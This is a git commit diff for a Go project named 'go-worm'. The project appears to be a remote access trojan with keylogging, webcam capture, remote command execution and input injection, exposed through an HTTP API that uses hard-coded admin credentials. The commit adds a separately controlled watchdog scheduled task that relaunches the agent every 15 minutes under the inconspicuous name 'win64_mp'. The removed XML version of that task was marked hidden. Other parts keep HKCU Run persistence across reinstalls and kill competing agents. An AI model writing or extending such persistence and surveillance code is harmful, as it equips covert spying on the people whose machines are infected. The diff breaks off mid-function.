feat(watchdog): separate watchdog from startup
- Add /api/v1/watchdog to enable/disable - Scheduled task now runs every 15 minutes - Use schtasks command line instead of XML - Dashboard shows watchdog enabled state - Preserve watchdog state during install
This commit is contained in:
@@ -97,6 +97,7 @@ func (a *Agent) Serve() error {
|
|||||||
mux.HandleFunc("/api/v1/webcam/frame", a.handleWebcamFrame)
|
mux.HandleFunc("/api/v1/webcam/frame", a.handleWebcamFrame)
|
||||||
mux.HandleFunc("/api/v1/exec", a.handleExec)
|
mux.HandleFunc("/api/v1/exec", a.handleExec)
|
||||||
mux.HandleFunc("/api/v1/startup", a.handleStartup)
|
mux.HandleFunc("/api/v1/startup", a.handleStartup)
|
||||||
|
mux.HandleFunc("/api/v1/watchdog", a.handleWatchdog)
|
||||||
mux.HandleFunc("/api/v1/settings", a.handleSettings)
|
mux.HandleFunc("/api/v1/settings", a.handleSettings)
|
||||||
mux.HandleFunc("/api/v1/input/click", a.handleClick)
|
mux.HandleFunc("/api/v1/input/click", a.handleClick)
|
||||||
mux.HandleFunc("/api/v1/input/key", a.handleKey)
|
mux.HandleFunc("/api/v1/input/key", a.handleKey)
|
||||||
|
|||||||
+32
-3
@@ -56,6 +56,7 @@ func (a *Agent) handleStatus(w http.ResponseWriter, r *http.Request) {
|
|||||||
"uptime_seconds": int64(time.Since(a.startedAt).Seconds()), "local_ips": helpers.LocalIPs(),
|
"uptime_seconds": int64(time.Since(a.startedAt).Seconds()), "local_ips": helpers.LocalIPs(),
|
||||||
"agent_version": config.Version, "listen_address": a.addr,
|
"agent_version": config.Version, "listen_address": a.addr,
|
||||||
"startup_enabled": startup.Enabled(),
|
"startup_enabled": startup.Enabled(),
|
||||||
|
"watchdog_enabled": startup.WatchdogEnabled(),
|
||||||
"klogging": keylog.Running(),
|
"klogging": keylog.Running(),
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -65,20 +66,48 @@ func (a *Agent) handleStartup(w http.ResponseWriter, r *http.Request) {
|
|||||||
case http.MethodPost:
|
case http.MethodPost:
|
||||||
if err := startup.Enable(); err != nil {
|
if err := startup.Enable(); err != nil {
|
||||||
helpers.Log.Printf("startup enable: %v", err)
|
helpers.Log.Printf("startup enable: %v", err)
|
||||||
helpers.WriteError(w, http.StatusInternalServerError, "could not add to startup")
|
helpers.WriteError(w, http.StatusInternalServerError, err.Error())
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
case http.MethodDelete:
|
case http.MethodDelete:
|
||||||
if err := startup.Disable(); err != nil {
|
if err := startup.Disable(); err != nil {
|
||||||
helpers.Log.Printf("startup disable: %v", err)
|
helpers.Log.Printf("startup disable: %v", err)
|
||||||
helpers.WriteError(w, http.StatusInternalServerError, "could not remove from startup")
|
helpers.WriteError(w, http.StatusInternalServerError, err.Error())
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
default:
|
default:
|
||||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
helpers.WriteJSON(w, http.StatusOK, map[string]any{"startup_enabled": startup.Enabled()})
|
helpers.WriteJSON(w, http.StatusOK, persistState())
|
||||||
|
}
|
||||||
|
|
||||||
|
func (a *Agent) handleWatchdog(w http.ResponseWriter, r *http.Request) {
|
||||||
|
switch r.Method {
|
||||||
|
case http.MethodPost:
|
||||||
|
if err := startup.EnableWatchdog(); err != nil {
|
||||||
|
helpers.Log.Printf("watchdog enable: %v", err)
|
||||||
|
helpers.WriteError(w, http.StatusInternalServerError, err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
case http.MethodDelete:
|
||||||
|
if err := startup.DisableWatchdog(); err != nil {
|
||||||
|
helpers.Log.Printf("watchdog disable: %v", err)
|
||||||
|
helpers.WriteError(w, http.StatusInternalServerError, err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
helpers.WriteJSON(w, http.StatusOK, persistState())
|
||||||
|
}
|
||||||
|
|
||||||
|
func persistState() map[string]any {
|
||||||
|
return map[string]any{
|
||||||
|
"startup_enabled": startup.Enabled(),
|
||||||
|
"watchdog_enabled": startup.WatchdogEnabled(),
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (a *Agent) handleSettings(w http.ResponseWriter, r *http.Request) {
|
func (a *Agent) handleSettings(w http.ResponseWriter, r *http.Request) {
|
||||||
|
|||||||
@@ -15,6 +15,9 @@
|
|||||||
const startupState = document.getElementById("startup-state");
|
const startupState = document.getElementById("startup-state");
|
||||||
const startupAdd = document.getElementById("startup-add");
|
const startupAdd = document.getElementById("startup-add");
|
||||||
const startupRemove = document.getElementById("startup-remove");
|
const startupRemove = document.getElementById("startup-remove");
|
||||||
|
const watchdogState = document.getElementById("watchdog-state");
|
||||||
|
const watchdogEnable = document.getElementById("watchdog-enable");
|
||||||
|
const watchdogDisable = document.getElementById("watchdog-disable");
|
||||||
const keylogState = document.getElementById("keylog-state");
|
const keylogState = document.getElementById("keylog-state");
|
||||||
const keylogEnable = document.getElementById("keylog-enable");
|
const keylogEnable = document.getElementById("keylog-enable");
|
||||||
const keylogDisable = document.getElementById("keylog-disable");
|
const keylogDisable = document.getElementById("keylog-disable");
|
||||||
@@ -135,9 +138,11 @@
|
|||||||
["Uptime", `${data.uptime_seconds}s`],
|
["Uptime", `${data.uptime_seconds}s`],
|
||||||
["Local IPs", (data.local_ips || []).join(", ") || "—"],
|
["Local IPs", (data.local_ips || []).join(", ") || "—"],
|
||||||
["Startup", data.startup_enabled ? "enabled" : "disabled"],
|
["Startup", data.startup_enabled ? "enabled" : "disabled"],
|
||||||
|
["Watchdog", data.watchdog_enabled ? "enabled" : "disabled"],
|
||||||
["klogging", data.klogging ? "on" : "off"],
|
["klogging", data.klogging ? "on" : "off"],
|
||||||
];
|
];
|
||||||
setStartup(Boolean(data.startup_enabled));
|
setStartup(Boolean(data.startup_enabled));
|
||||||
|
setWatchdog(Boolean(data.watchdog_enabled));
|
||||||
currentListen = data.listen_address || "";
|
currentListen = data.listen_address || "";
|
||||||
syncUpdateMeta();
|
syncUpdateMeta();
|
||||||
loadSettings().catch((err) => showError(err.message));
|
loadSettings().catch((err) => showError(err.message));
|
||||||
@@ -312,6 +317,12 @@
|
|||||||
startupRemove.disabled = !enabled;
|
startupRemove.disabled = !enabled;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function setWatchdog(enabled) {
|
||||||
|
watchdogState.textContent = enabled ? "Watchdog: enabled" : "Watchdog: disabled";
|
||||||
|
watchdogEnable.disabled = enabled;
|
||||||
|
watchdogDisable.disabled = !enabled;
|
||||||
|
}
|
||||||
|
|
||||||
function setKeylog(enabled) {
|
function setKeylog(enabled) {
|
||||||
keylogState.textContent = enabled ? "klogging: on" : "klogging: off";
|
keylogState.textContent = enabled ? "klogging: on" : "klogging: off";
|
||||||
keylogEnable.disabled = enabled;
|
keylogEnable.disabled = enabled;
|
||||||
@@ -339,6 +350,15 @@
|
|||||||
const res = await api("/api/v1/startup", { method: enabled ? "POST" : "DELETE" });
|
const res = await api("/api/v1/startup", { method: enabled ? "POST" : "DELETE" });
|
||||||
const data = await res.json();
|
const data = await res.json();
|
||||||
setStartup(Boolean(data.startup_enabled));
|
setStartup(Boolean(data.startup_enabled));
|
||||||
|
setWatchdog(Boolean(data.watchdog_enabled));
|
||||||
|
loadStatus().catch((err) => showError(err.message));
|
||||||
|
}
|
||||||
|
|
||||||
|
async function setWatchdogEnabled(enabled) {
|
||||||
|
const res = await api("/api/v1/watchdog", { method: enabled ? "POST" : "DELETE" });
|
||||||
|
const data = await res.json();
|
||||||
|
setStartup(Boolean(data.startup_enabled));
|
||||||
|
setWatchdog(Boolean(data.watchdog_enabled));
|
||||||
loadStatus().catch((err) => showError(err.message));
|
loadStatus().catch((err) => showError(err.message));
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -729,6 +749,12 @@
|
|||||||
startupRemove.addEventListener("click", () => {
|
startupRemove.addEventListener("click", () => {
|
||||||
setStartupEnabled(false).catch((err) => showError(err.message));
|
setStartupEnabled(false).catch((err) => showError(err.message));
|
||||||
});
|
});
|
||||||
|
watchdogEnable.addEventListener("click", () => {
|
||||||
|
setWatchdogEnabled(true).catch((err) => showError(err.message));
|
||||||
|
});
|
||||||
|
watchdogDisable.addEventListener("click", () => {
|
||||||
|
setWatchdogEnabled(false).catch((err) => showError(err.message));
|
||||||
|
});
|
||||||
keylogEnable.addEventListener("click", () => {
|
keylogEnable.addEventListener("click", () => {
|
||||||
setKeylogEnabled(true).catch((err) => showError(err.message));
|
setKeylogEnabled(true).catch((err) => showError(err.message));
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -517,6 +517,7 @@
|
|||||||
background: rgba(0, 0, 0, 0.2);
|
background: rgba(0, 0, 0, 0.2);
|
||||||
}
|
}
|
||||||
.startup-card .meta { flex: 1; min-width: 8rem; font-size: 0.92rem; color: var(--text-secondary); }
|
.startup-card .meta { flex: 1; min-width: 8rem; font-size: 0.92rem; color: var(--text-secondary); }
|
||||||
|
.startup-card + .startup-card { margin-top: 0.65rem; }
|
||||||
|
|
||||||
/* —— Tables —— */
|
/* —— Tables —— */
|
||||||
.table-wrap {
|
.table-wrap {
|
||||||
@@ -757,6 +758,11 @@
|
|||||||
<button id="startup-add" type="button">Add to startup</button>
|
<button id="startup-add" type="button">Add to startup</button>
|
||||||
<button id="startup-remove" class="danger" type="button">Remove from startup</button>
|
<button id="startup-remove" class="danger" type="button">Remove from startup</button>
|
||||||
</div>
|
</div>
|
||||||
|
<div class="startup-card">
|
||||||
|
<span id="watchdog-state" class="meta">Watchdog: —</span>
|
||||||
|
<button id="watchdog-enable" type="button">Enable Watchdog</button>
|
||||||
|
<button id="watchdog-disable" class="danger" type="button">Disable Watchdog</button>
|
||||||
|
</div>
|
||||||
</section>
|
</section>
|
||||||
|
|
||||||
<section id="files" class="panel">
|
<section id="files" class="panel">
|
||||||
|
|||||||
@@ -35,7 +35,8 @@ const (
|
|||||||
LogsSubdir = "logs"
|
LogsSubdir = "logs"
|
||||||
ClipboardSubdir = "clipboard"
|
ClipboardSubdir = "clipboard"
|
||||||
SettingsFileName = "settings.json"
|
SettingsFileName = "settings.json"
|
||||||
WatchdogTaskName = "win64_mp_watchdog"
|
WatchdogTaskName = "win64_mp"
|
||||||
|
WatchdogTaskNameLegacy = "win64_mp_watchdog"
|
||||||
DefaultKeylogRetentionDays = 7
|
DefaultKeylogRetentionDays = 7
|
||||||
AuthUser = "admin"
|
AuthUser = "admin"
|
||||||
AuthPass = "blueberries"
|
AuthPass = "blueberries"
|
||||||
|
|||||||
@@ -44,6 +44,7 @@ func Ensure() error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
hadStartup := startup.Enabled()
|
hadStartup := startup.Enabled()
|
||||||
|
hadWatchdog := startup.WatchdogEnabled()
|
||||||
takeover(target)
|
takeover(target)
|
||||||
if err := replaceExe(current, target); err != nil {
|
if err := replaceExe(current, target); err != nil {
|
||||||
return fmt.Errorf("copy to %s: %w", target, err)
|
return fmt.Errorf("copy to %s: %w", target, err)
|
||||||
@@ -53,6 +54,11 @@ func Ensure() error {
|
|||||||
helpers.Log.Printf("takeover: restore startup: %v", err)
|
helpers.Log.Printf("takeover: restore startup: %v", err)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
if hadWatchdog {
|
||||||
|
if err := startup.EnableWatchdog(); err != nil {
|
||||||
|
helpers.Log.Printf("takeover: restore watchdog: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
return relaunchInstalled(target)
|
return relaunchInstalled(target)
|
||||||
}
|
}
|
||||||
@@ -62,6 +68,9 @@ func takeover(installed string) {
|
|||||||
if err := startup.Disable(); err != nil {
|
if err := startup.Disable(); err != nil {
|
||||||
helpers.Log.Printf("takeover: disable old startup: %v", err)
|
helpers.Log.Printf("takeover: disable old startup: %v", err)
|
||||||
}
|
}
|
||||||
|
if err := startup.DisableWatchdog(); err != nil {
|
||||||
|
helpers.Log.Printf("takeover: disable old watchdog: %v", err)
|
||||||
|
}
|
||||||
if err := instance.KillOtherAgents(); err != nil {
|
if err := instance.KillOtherAgents(); err != nil {
|
||||||
helpers.Log.Printf("takeover: kill: %v", err)
|
helpers.Log.Printf("takeover: kill: %v", err)
|
||||||
}
|
}
|
||||||
|
|||||||
+26
-6
@@ -233,17 +233,33 @@ func Spec() map[string]any {
|
|||||||
},
|
},
|
||||||
"/api/v1/startup": map[string]any{
|
"/api/v1/startup": map[string]any{
|
||||||
"post": map[string]any{
|
"post": map[string]any{
|
||||||
"summary": "Add agent to Windows startup and a 5-minute watchdog task",
|
"summary": "Add agent to Windows startup (HKCU Run / Task Manager)",
|
||||||
"operationId": "enableStartup",
|
"operationId": "enableStartup",
|
||||||
"responses": auth(map[string]any{
|
"responses": auth(map[string]any{
|
||||||
"200": okJSON("Startup state", ref("StartupState")),
|
"200": okJSON("Persistence state", ref("PersistState")),
|
||||||
}),
|
}),
|
||||||
},
|
},
|
||||||
"delete": map[string]any{
|
"delete": map[string]any{
|
||||||
"summary": "Remove agent from Windows startup and the watchdog task",
|
"summary": "Remove agent from Windows startup",
|
||||||
"operationId": "disableStartup",
|
"operationId": "disableStartup",
|
||||||
"responses": auth(map[string]any{
|
"responses": auth(map[string]any{
|
||||||
"200": okJSON("Startup state", ref("StartupState")),
|
"200": okJSON("Persistence state", ref("PersistState")),
|
||||||
|
}),
|
||||||
|
},
|
||||||
|
},
|
||||||
|
"/api/v1/watchdog": map[string]any{
|
||||||
|
"post": map[string]any{
|
||||||
|
"summary": "Enable a 15-minute user-level watchdog task",
|
||||||
|
"operationId": "enableWatchdog",
|
||||||
|
"responses": auth(map[string]any{
|
||||||
|
"200": okJSON("Persistence state", ref("PersistState")),
|
||||||
|
}),
|
||||||
|
},
|
||||||
|
"delete": map[string]any{
|
||||||
|
"summary": "Disable the watchdog scheduled task",
|
||||||
|
"operationId": "disableWatchdog",
|
||||||
|
"responses": auth(map[string]any{
|
||||||
|
"200": okJSON("Persistence state", ref("PersistState")),
|
||||||
}),
|
}),
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
@@ -376,6 +392,7 @@ func Spec() map[string]any {
|
|||||||
"agent_version": map[string]string{"type": "string"},
|
"agent_version": map[string]string{"type": "string"},
|
||||||
"listen_address": map[string]string{"type": "string"},
|
"listen_address": map[string]string{"type": "string"},
|
||||||
"startup_enabled": map[string]any{"type": "boolean"},
|
"startup_enabled": map[string]any{"type": "boolean"},
|
||||||
|
"watchdog_enabled": map[string]any{"type": "boolean"},
|
||||||
"klogging": map[string]any{"type": "boolean"},
|
"klogging": map[string]any{"type": "boolean"},
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
@@ -437,9 +454,12 @@ func Spec() map[string]any {
|
|||||||
"stderr": map[string]string{"type": "string"},
|
"stderr": map[string]string{"type": "string"},
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
"StartupState": map[string]any{
|
"PersistState": map[string]any{
|
||||||
"type": "object",
|
"type": "object",
|
||||||
"properties": map[string]any{"startup_enabled": map[string]any{"type": "boolean"}},
|
"properties": map[string]any{
|
||||||
|
"startup_enabled": map[string]any{"type": "boolean"},
|
||||||
|
"watchdog_enabled": map[string]any{"type": "boolean"},
|
||||||
|
},
|
||||||
},
|
},
|
||||||
"Settings": map[string]any{
|
"Settings": map[string]any{
|
||||||
"type": "object",
|
"type": "object",
|
||||||
|
|||||||
@@ -11,8 +11,8 @@ func TestSpec(t *testing.T) {
|
|||||||
if !ok || len(paths) < 12 {
|
if !ok || len(paths) < 12 {
|
||||||
t.Fatalf("expected at least 12 paths, got %d", len(paths))
|
t.Fatalf("expected at least 12 paths, got %d", len(paths))
|
||||||
}
|
}
|
||||||
if _, ok := paths["/api/v1/status"]; !ok {
|
if _, ok := paths["/api/v1/watchdog"]; !ok {
|
||||||
t.Fatal("missing /api/v1/status")
|
t.Fatal("missing /api/v1/watchdog")
|
||||||
}
|
}
|
||||||
if _, ok := spec["security"]; !ok {
|
if _, ok := spec["security"]; !ok {
|
||||||
t.Fatal("missing security")
|
t.Fatal("missing security")
|
||||||
|
|||||||
+22
-20
@@ -33,36 +33,38 @@ func Enable() error {
|
|||||||
if err := k.SetStringValue(config.StartupValueName, command); err != nil {
|
if err := k.SetStringValue(config.StartupValueName, command); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
return enableWatchdog()
|
|
||||||
}
|
|
||||||
|
|
||||||
// SyncInstalledPath rewrites an existing Run entry to the AppData install path.
|
|
||||||
func SyncInstalledPath() error {
|
|
||||||
if !Enabled() {
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
return Enable()
|
|
||||||
|
// SyncInstalledPath rewrites existing Run/watchdog entries to the AppData path.
|
||||||
|
func SyncInstalledPath() error {
|
||||||
|
if Enabled() {
|
||||||
|
if err := Enable(); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if WatchdogEnabled() {
|
||||||
|
if err := EnableWatchdog(); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func Disable() error {
|
func Disable() error {
|
||||||
var regErr error
|
|
||||||
k, err := registry.OpenKey(registry.CURRENT_USER, config.StartupRunKey, registry.SET_VALUE)
|
k, err := registry.OpenKey(registry.CURRENT_USER, config.StartupRunKey, registry.SET_VALUE)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
if !errors.Is(err, registry.ErrNotExist) {
|
if errors.Is(err, registry.ErrNotExist) {
|
||||||
regErr = err
|
return nil
|
||||||
}
|
}
|
||||||
} else {
|
return err
|
||||||
|
}
|
||||||
|
defer k.Close()
|
||||||
err = k.DeleteValue(config.StartupValueName)
|
err = k.DeleteValue(config.StartupValueName)
|
||||||
_ = k.Close()
|
if errors.Is(err, registry.ErrNotExist) {
|
||||||
if err != nil && !errors.Is(err, registry.ErrNotExist) {
|
return nil
|
||||||
regErr = err
|
|
||||||
}
|
}
|
||||||
}
|
return err
|
||||||
taskErr := disableWatchdog()
|
|
||||||
if regErr != nil {
|
|
||||||
return regErr
|
|
||||||
}
|
|
||||||
return taskErr
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func installedCommandLine() (string, error) {
|
func installedCommandLine() (string, error) {
|
||||||
|
|||||||
@@ -8,4 +8,10 @@ func Enable() error { return nil }
|
|||||||
|
|
||||||
func Disable() error { return nil }
|
func Disable() error { return nil }
|
||||||
|
|
||||||
|
func WatchdogEnabled() bool { return false }
|
||||||
|
|
||||||
|
func EnableWatchdog() error { return nil }
|
||||||
|
|
||||||
|
func DisableWatchdog() error { return nil }
|
||||||
|
|
||||||
func SyncInstalledPath() error { return nil }
|
func SyncInstalledPath() error { return nil }
|
||||||
|
|||||||
@@ -1,71 +0,0 @@
|
|||||||
package startup
|
|
||||||
|
|
||||||
import (
|
|
||||||
"encoding/xml"
|
|
||||||
"strings"
|
|
||||||
)
|
|
||||||
|
|
||||||
const watchdogArg = "-ensure"
|
|
||||||
|
|
||||||
// watchdogTaskXML builds a Task Scheduler 2.0 XML action with Command and
|
|
||||||
// Arguments as separate fields. Paths must not be wrapped in extra quotes —
|
|
||||||
// schtasks /TR quoting is what made the watchdog flash and exit.
|
|
||||||
func watchdogTaskXML(exe string) string {
|
|
||||||
exe = strings.Trim(exe, `"`)
|
|
||||||
var b strings.Builder
|
|
||||||
b.WriteString(`<?xml version="1.0" encoding="UTF-16"?>`)
|
|
||||||
b.WriteByte('\n')
|
|
||||||
b.WriteString(`<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">`)
|
|
||||||
b.WriteString(`<RegistrationInfo><Description>win64_mp watchdog</Description></RegistrationInfo>`)
|
|
||||||
b.WriteString(`<Triggers><TimeTrigger>`)
|
|
||||||
b.WriteString(`<Repetition><Interval>PT5M</Interval><StopAtDurationEnd>false</StopAtDurationEnd></Repetition>`)
|
|
||||||
b.WriteString(`<StartBoundary>2000-01-01T00:00:00</StartBoundary>`)
|
|
||||||
b.WriteString(`<Enabled>true</Enabled>`)
|
|
||||||
b.WriteString(`</TimeTrigger></Triggers>`)
|
|
||||||
b.WriteString(`<Principals><Principal id="Author">`)
|
|
||||||
b.WriteString(`<LogonType>InteractiveToken</LogonType>`)
|
|
||||||
b.WriteString(`<RunLevel>LeastPrivilege</RunLevel>`)
|
|
||||||
b.WriteString(`</Principal></Principals>`)
|
|
||||||
b.WriteString(`<Settings>`)
|
|
||||||
b.WriteString(`<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>`)
|
|
||||||
b.WriteString(`<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>`)
|
|
||||||
b.WriteString(`<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>`)
|
|
||||||
b.WriteString(`<Hidden>true</Hidden>`)
|
|
||||||
b.WriteString(`<UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>`)
|
|
||||||
b.WriteString(`<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>`)
|
|
||||||
b.WriteString(`<AllowStartOnDemand>true</AllowStartOnDemand>`)
|
|
||||||
b.WriteString(`<Enabled>true</Enabled>`)
|
|
||||||
b.WriteString(`<StartWhenAvailable>true</StartWhenAvailable>`)
|
|
||||||
b.WriteString(`<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>`)
|
|
||||||
b.WriteString(`<Priority>7</Priority>`)
|
|
||||||
b.WriteString(`</Settings>`)
|
|
||||||
b.WriteString(`<Actions Context="Author"><Exec>`)
|
|
||||||
b.WriteString(`<Command>`)
|
|
||||||
b.WriteString(xmlEscape(exe))
|
|
||||||
b.WriteString(`</Command>`)
|
|
||||||
b.WriteString(`<Arguments>`)
|
|
||||||
b.WriteString(watchdogArg)
|
|
||||||
b.WriteString(`</Arguments>`)
|
|
||||||
if dir := winDir(exe); dir != "" {
|
|
||||||
b.WriteString(`<WorkingDirectory>`)
|
|
||||||
b.WriteString(xmlEscape(dir))
|
|
||||||
b.WriteString(`</WorkingDirectory>`)
|
|
||||||
}
|
|
||||||
b.WriteString(`</Exec></Actions></Task>`)
|
|
||||||
return b.String()
|
|
||||||
}
|
|
||||||
|
|
||||||
func xmlEscape(s string) string {
|
|
||||||
var b strings.Builder
|
|
||||||
_ = xml.EscapeText(&b, []byte(s))
|
|
||||||
return b.String()
|
|
||||||
}
|
|
||||||
|
|
||||||
func winDir(p string) string {
|
|
||||||
p = strings.TrimRight(p, `/\`)
|
|
||||||
i := strings.LastIndexAny(p, `/\`)
|
|
||||||
if i <= 0 {
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
return p[:i]
|
|
||||||
}
|
|
||||||
@@ -1,51 +0,0 @@
|
|||||||
package startup
|
|
||||||
|
|
||||||
import (
|
|
||||||
"strings"
|
|
||||||
"testing"
|
|
||||||
)
|
|
||||||
|
|
||||||
func TestWatchdogTaskXMLSeparatesCommandAndArgs(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
exe := `C:\Users\John Doe\AppData\Roaming\win64_mp\win64_mp.exe`
|
|
||||||
xml := watchdogTaskXML(exe)
|
|
||||||
|
|
||||||
if strings.Contains(xml, `"`+exe+`"`) || strings.Contains(xml, `\"`) {
|
|
||||||
t.Fatalf("task XML must not quote the executable (schtasks /TR quoting broke launch):\n%s", xml)
|
|
||||||
}
|
|
||||||
if !strings.Contains(xml, "<Command>"+exe+"</Command>") {
|
|
||||||
t.Fatalf("Command missing raw path:\n%s", xml)
|
|
||||||
}
|
|
||||||
if !strings.Contains(xml, "<Arguments>-ensure</Arguments>") {
|
|
||||||
t.Fatalf("Arguments missing -ensure:\n%s", xml)
|
|
||||||
}
|
|
||||||
if !strings.Contains(xml, "<WorkingDirectory>C:\\Users\\John Doe\\AppData\\Roaming\\win64_mp</WorkingDirectory>") {
|
|
||||||
t.Fatalf("WorkingDirectory missing:\n%s", xml)
|
|
||||||
}
|
|
||||||
if !strings.Contains(xml, "<Hidden>true</Hidden>") {
|
|
||||||
t.Fatalf("task must be hidden:\n%s", xml)
|
|
||||||
}
|
|
||||||
if !strings.Contains(xml, "<UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>") {
|
|
||||||
t.Fatalf("unified scheduler missing:\n%s", xml)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestWatchdogTaskXMLEscapesAmpersand(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
exe := `C:\Users\A&B\win64_mp.exe`
|
|
||||||
xml := watchdogTaskXML(exe)
|
|
||||||
if !strings.Contains(xml, `C:\Users\A&B\win64_mp.exe`) {
|
|
||||||
t.Fatalf("expected escaped ampersand:\n%s", xml)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestWatchdogTaskXMLStripsCallerQuotes(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
xml := watchdogTaskXML(`"C:\win64_mp.exe"`)
|
|
||||||
if strings.Contains(xml, `"C:\win64_mp.exe"`) {
|
|
||||||
t.Fatalf("left quotes in XML:\n%s", xml)
|
|
||||||
}
|
|
||||||
if !strings.Contains(xml, "<Command>C:\\win64_mp.exe</Command>") {
|
|
||||||
t.Fatalf("Command not unquoted:\n%s", xml)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,23 @@
|
|||||||
|
package startup
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
const ensureArg = "-ensure"
|
||||||
|
|
||||||
|
// ensureTaskTR is the schtasks /TR task action: "<exe> -ensure".
|
||||||
|
func ensureTaskTR(exe string) string {
|
||||||
|
return strings.Trim(exe, `"`) + " " + ensureArg
|
||||||
|
}
|
||||||
|
|
||||||
|
// schtasksCreateCmdLine is the full Windows command line for schtasks /Create.
|
||||||
|
// ponytail: SysProcAttr.CmdLine bypasses Go's /TR quoting bugs.
|
||||||
|
func schtasksCreateCmdLine(taskName, tr string) string {
|
||||||
|
return fmt.Sprintf(
|
||||||
|
`schtasks.exe /Create /TN %s /SC MINUTE /MO 15 /RL LIMITED /F /TR "%s"`,
|
||||||
|
taskName,
|
||||||
|
tr,
|
||||||
|
)
|
||||||
|
}
|
||||||
@@ -0,0 +1,39 @@
|
|||||||
|
package startup
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestEnsureTaskTR(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
cases := []struct {
|
||||||
|
exe string
|
||||||
|
want string
|
||||||
|
}{
|
||||||
|
{`C:\Users\me\AppData\Roaming\win64_mp\win64_mp.exe`, `C:\Users\me\AppData\Roaming\win64_mp\win64_mp.exe -ensure`},
|
||||||
|
{`C:\Users\John Doe\win64_mp.exe`, `C:\Users\John Doe\win64_mp.exe -ensure`},
|
||||||
|
{`"C:\win64_mp.exe"`, `C:\win64_mp.exe -ensure`},
|
||||||
|
}
|
||||||
|
for _, tc := range cases {
|
||||||
|
if got := ensureTaskTR(tc.exe); got != tc.want {
|
||||||
|
t.Fatalf("ensureTaskTR(%q) = %q, want %q", tc.exe, got, tc.want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSchtasksCreateCmdLine(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
tr := ensureTaskTR(`C:\Users\John Doe\win64_mp.exe`)
|
||||||
|
got := schtasksCreateCmdLine("win64_mp", tr)
|
||||||
|
if !strings.Contains(got, `/TN win64_mp`) {
|
||||||
|
t.Fatalf("missing task name: %q", got)
|
||||||
|
}
|
||||||
|
if !strings.Contains(got, `/SC MINUTE /MO 15 /RL LIMITED`) {
|
||||||
|
t.Fatalf("missing schedule: %q", got)
|
||||||
|
}
|
||||||
|
wantTR := `/TR "C:\Users\John Doe\win64_mp.exe -ensure"`
|
||||||
|
if !strings.Contains(got, wantTR) {
|
||||||
|
t.Fatalf("TR quoting wrong:\n got: %q\nwant: %q", got, wantTR)
|
||||||
|
}
|
||||||
|
}
|
||||||
+42
-28
@@ -4,41 +4,61 @@ package startup
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"os"
|
|
||||||
"os/exec"
|
"os/exec"
|
||||||
"strings"
|
"strings"
|
||||||
"unicode/utf16"
|
|
||||||
|
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||||
)
|
)
|
||||||
|
|
||||||
func enableWatchdog() error {
|
func WatchdogEnabled() bool {
|
||||||
|
return taskExists(config.WatchdogTaskName) || taskExists(config.WatchdogTaskNameLegacy)
|
||||||
|
}
|
||||||
|
|
||||||
|
func EnableWatchdog() error {
|
||||||
exe, err := config.InstalledExe()
|
exe, err := config.InstalledExe()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
tmp, err := os.CreateTemp("", "win64_mp-task-*.xml")
|
if err := runSchtasksCmdLine(schtasksCreateCmdLine(config.WatchdogTaskName, ensureTaskTR(exe))); err != nil {
|
||||||
if err != nil {
|
|
||||||
return err
|
